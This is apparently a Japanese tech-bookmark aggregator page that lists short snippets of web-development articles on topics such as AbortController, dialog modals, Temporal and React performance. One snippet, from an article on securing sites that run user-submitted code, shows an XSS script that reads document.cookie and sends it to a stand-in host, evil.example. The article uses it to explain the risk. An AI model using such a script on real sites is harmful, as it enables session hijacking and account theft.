Make any website load faster with 6 lines of HTML | DocuSealReact Document Signing To embed document signing in React App
ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo
AbortControllerを知らないなんて - Qiita
多くの開発者がAbortControllerを理解していると思っているかもしれませんが、その機能は基本的な用途をはるかに超えています。たとえば、fetchリクエストのキャンセル、イベントリスナーの管理、Reactフックとの連携などです。 本当にAbortControllerの威力を知っていますか？それでは見てみましょう。 AbortControllerを使ったfetchリクエストのキャンセル AbortControllerをfetchと一緒に使うことは、最も一般的な用途です。 以下は、AbortControllerを使ってキャンセル可能なfetchリクエストを作成する例です： fetchButton.onclick = async () => { const controller = new AbortController(); // キャンセルボタンを追加 abortButton.onc
Viewport Segments API で折りたたみ式デバイスをサポートする | Blog | Chrome for Developers
公開日: 2025 年 6 月 9 日 Viewport Segments API を使用すると、JavaScript または CSS でビューポートの論理的に分離された領域の位置とサイズにアクセスできます。この API は Chrome 138 以降で利用できます。 ビューポート セグメントは、ビューポートが分割され、分割点として機能する 1 つ以上のハードウェア機能（折り目や個別のディスプレイ間のヒンジなど）によって分割された場合に作成されます。 セグメントは、サイトやアプリを開発する際に論理的に区別できるビューポートの領域です。これらの優れた API を使用すると、折りたたみ式デバイス専用のインターフェースを作成または最適化できます。たとえば、デュアルペインのユーザー エクスペリエンスを作成したり、折り目を超えてコンテンツがレイアウトされないようにしたりします。 昨年実施したオリジン
組み込みの AI による要約 | AI on Chrome | Chrome for Developers
ハードウェア要件を確認する Chrome でこれらの API を使用して機能を操作するデベロッパーとユーザーには、次の要件があります。他のブラウザでは動作要件が異なる場合があります。 言語検出 API と翻訳 API は、パソコン版 Chrome で動作します。これらの API はモバイル デバイスでは動作しません。Prompt API、Summarizer API、Writer API、Rewriter API は、次の条件を満たす場合に Chrome で動作します。 オペレーティング システム: Windows 10 または 11、macOS 13 以降（Ventura 以降）、Linux。Gemini Nano を使用する API は、Chrome for Android、iOS、ChromeOS ではまだサポートされていません。 ストレージ: Chrome プロファイルを含むボリュ
JavaScript PrimerのNotebookLMが利用可能になりました！
JavaScript PrimerのNotebookLMが利用可能になりました。 NotebookLMは、Googleが提供するAIを活用したノートブック環境で、登録したソースに対して質問をしたり、情報を検索したりすることができます。 次のリンクから、JavaScript PrimerのNotebookLMにアクセスできます。 📖 JavaScript Primer - 迷わないための入門書 - NotebookLM JavaScript Primer on NotebookLM JavaScript PrimerのコンテンツがNotebookLMに入ってることで、読者は書籍の内容についてNotebookLMに直接質問したり、Podcastとして音声で聞いたりすることができるようになります。 NotebookLMを活用することで、JavaScript Primerを読み進める中で生じた疑
JavaScriptを書かない2025年のモーダルの実装方法 – TAKLOG
2025年のモーダルの実装方法のメモ書き。 <dialog> 要素の利用を前提とします。 Web アプリケーションで UI ライブラリを利用する場合は話が変わってきます。 1年前にdialog要素を使用したモーダルウィンドウの実装例を投稿しましたが、大幅にアップデートされているため、忘れても構いません。 結論<dialog>要素の開閉は command 属性を使用する<dialog>要素の外側をクリックした際に閉じる Light dismiss 機能は closedby 属性を使用するcommand 属性と closedby 属性は Polyfill を使用する開閉時のアニメーション、背面のスクロール抑制、スクロールバーの有無によるガタツキの防止は CSS で行う方針としては極力JavaScriptを書かないことを目指します。 次のようにHTMLを書くことで<dialog>要素の開閉および
aria-expandedの理想的な使い方 -- 名前と状態は適切に区別したほうが良い - ARIA-Barriers
@yncat です。 近頃のAIとの対話は本当に楽しいです。今回の記事でも、具体例のコードや、考えの整理のために大いに役立ってくれています。技術者としては、新しいツールのネイティブになっていかないと、すぐにおいて行かれるなと思って、精進する毎日です。 aria-expanded と aria-label 重複はよくないという意見 先日、 こういう意見をGithubに送りました 。 内容を簡単に要約します。 GitHubのマイページ で、自分の行ったコミットやpull requestの実績が出るところで、 aria-expanded で状態が示されている項目に対して collapse や expand などの aria-label がついているのが不要だという主張です。 これは、 WAI-ARIA を利用してアクセシビリティを実装しているウェブサイトでたびたび見られる、典型的な誤用であると私
Cloudflare Workers、フルスタックアプリの構築とホスティングが可能に。新たにNext.jsやAngularなどに対応、MySQLへの接続も
Cloudflare Workers、フルスタックアプリの構築とホスティングが可能に。新たにNext.jsやAngularなどに対応、MySQLへの接続も Cloudflareは、同社が提供するグローバルなコンテンツデリバリーネットワーク（CDN）のエッジにおいてJavaScriptのランタイムを提供する「Cloudflare Workers」の新機能や機能強化を発表しました。 You can now deploy static sites and full-stack applications on Cloudflare Workers – the primitives are all here. https://t.co/lDgcd4kh9j #DeveloperWeek — Cloudflare (@Cloudflare) April 8, 2025 Next.jsサポート、MySQ
JavaScript のサンプルコードの作成ガイドライン - MDN Web Docs | MDN
この節では、 JavaScript のサンプルコードを書く際に留意すべき一般的なガイドラインを説明します。後の節では、より具体的な詳細について説明します。 正しいインデント、ホワイトスペース、行の長さに関する意見は常に論争の的となってきました。このようなトピックに関するディスカッションは、コンテンツを作成したり維持したりすることの妨げになります。 MDN Web Docs では、コードスタイルの一貫性を保つために（そしてトピック外の議論を避けるために）、コード整形ツールとして Prettier を使用しています。現在のルールについては設定ファイルを参照し、 Prettier のドキュメントを読んでください。 Prettier はすべてのコードを書式化し、スタイルの一貫性を保ちます。とはいえ、従わなければならない追加のルールがいくつかあります。
Reactで大量描画しても60fps出すためのパフォーマンスチューニング術 - SmartHR Tech Blog
こんにちは、SmartHRでプロダクトエンジニアをやっている @Tokky0425 です。 みなさんは普段組織で働いていますか？僕は組織で働いています。 組織で働くにあたって便利なもの、ありますよね。そう、組織図です。 SmartHR にも組織図の機能があるのですが、部署数や従業員数が多いとブラウザ上での操作が重くなってしまうという問題がありました。 最近「数万人規模の組織図での 60fps」を目指してこの組織図機能の描画パフォーマンス改善を行ったので、その中で実践したフロントエンド開発における大量描画処理の Tips を共有します。(React を前提としています) そもそも問題はどこにあるのか 最近まで、SmartHRの組織図機能は数万人規模の企業で十分に使えるような作りになっていませんでした。というのも、対象従業員数が数万人を超えてくると、いろんな操作が著しく重くなり、実用に耐える操
ReactとCSSで一定時間表示される通知をやるときの色々な方法 - Qiita
フロントエンド、というよりUI一般では、ユーザーの操作に対してまったく無反応なのは良くありません。ユーザーが意味のある操作をしたならば、何らかのフィードバックを返すべきです。 例えば、何かをユーザーのクリップボードにコピーするボタンというのはありがちですが、クリップボードに何かを書き込んでもそれだけだと目に見える変化がないので、追加で「コピーしました」のような通知を出すというのはよくあるパターンです。 ここでは、そのような通知が、ちょっとフェードインしながら表示され、一定時間後にフェードアウトしながら消えていくという要件を想定することにしましょう。 transitionを使う基本的な実装 まずはReactの部分をざっくりお見せします。 import { useState } from "react"; import "./styles.css"; export default functi
Temporalで変わるJavaScriptの日時操作 ［JS Modern Features no.1］ | gihyo.jp
乗りこなせ！ モダンフロントエンド Temporalで変わるJavaScriptの日時操作 ［JS Modern Features no.1］ 本連載について はじめまして！ サイボウズ フロントエンドエキスパートチームの左治木です。 本連載では、Webフロントエンドに関してもう一歩踏み込んだ知識について、サイボウズフロントエンドエキスパートチームのメンバーによって不定期で解説記事を掲載しています。前回までの記事では「CSS Modern Features」と題して、CSSの比較的新しい機能の中でインパクトの大きいものをピックアップして弊チームの麦島が解説してくれました。 JS Modern Features / JavaScriptの進歩 この記事からは「JS Modern Features」と題して、JavaScriptに関するコンテンツを数回に分けてお届けします。 JavaScrip
Web制作者は要チェック！ Chrome 132で新しく追加されたCSSとHTMLの3つの新機能
Chrome 132で追加された、CSSとHTMLの新しい機能3つを紹介します。 今回のアップデートで、dialog要素の開閉トグルイベントを取得できるようになります。これによりダイアログが表示されているのかどうか簡単に判定できます。ほかにもCSSによる縦書き、Anchor Positioningなど、Web制作者は要チェックです！ New in Chrome 132 Chrome 132 beta 下記は各ポイントを意訳したものです。 ※元サイト様のライセンスに基づいて翻訳しています。基づいてというのは、貢献部分に関して同ライセンスも含みます。 はじめに CSSのAnchor Positioning CSSによる縦書き dialog要素のトグルイベント取得 はじめに 1/15にリリースされたChrome 132でCSSとHTMLの新しい機能が3つ追加されました。対象となるChrome 1
JavaScript Temporal is coming | MDN Blog
Implementations of the new JavaScript Temporal object are starting to be shipped in experimental releases of browsers. This is big news for web developers because working with dates and times in JavaScript will be hugely simplified and modernized. Applications that rely on scheduling, internationalization, or time-sensitive data will be able to use built-ins for efficient, precise and consistent d
【海外記事紹介】JavaScriptのDateは時代遅れになる — 新たな標準API、Temporalの紹介
1月25日、Mozillaが「JavaScript Temporal is coming」と題した記事を公開した。この記事では、JavaScriptの新たな日時処理APIであるTemporalについて詳しく紹介されている。 1月25日、Mozillaが「JavaScript Temporal is coming」と題した記事を公開した。この記事では、JavaScriptの新たな日時処理APIであるTemporalについて詳しく紹介されている。 以下に、その内容を紹介する。 Temporalとは何か？ 従来のJavaScriptにおいては、日時を扱うための標準手段としてDateオブジェクトが用意されてきた。しかし、Dateは以下のような問題点を抱えていたため、柔軟かつ正確な日時操作を実現することが難しかった。 コンストラクタの引数や各種メソッドでタイムゾーンが混在しやすく、扱いが直感的でない
Promise.try がベースラインで新たに利用可能に | Articles | web.dev
公開日: 2025 年 1 月 17 日 ウェブで非同期処理を行うことは困難な場合があります。ウェブで行う多くの処理には非同期処理が伴います。fetch 呼び出しやその他の非同期オペレーションが関係しているかどうかにかかわらず、組み込みメソッドで堅牢なエラー処理が提供されている場合、ブラウザによってその処理方法が容易になります。これは、then、catch、finally メソッドを使用する Promise ですでに提供されています。 それでも、アプリケーションのコードベースを設計する方法は柔軟である必要があります。アプリケーションで行うすべての処理が非同期である必要はありません。Promise に渡したコールバックが同期的か非同期かに関係なく、コールバックの結果をよりシンプルな方法で処理したい場合があります。Promise.try は、すべての主要なブラウザ エンジンで利用できるメソッド
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
web-platform-tests dashboard
ESLint を eslintrc から Flat Config に移行する、ハマりポイントを添えて。 - Qiita
TypeScriptでモジュラーモノリスやってみた
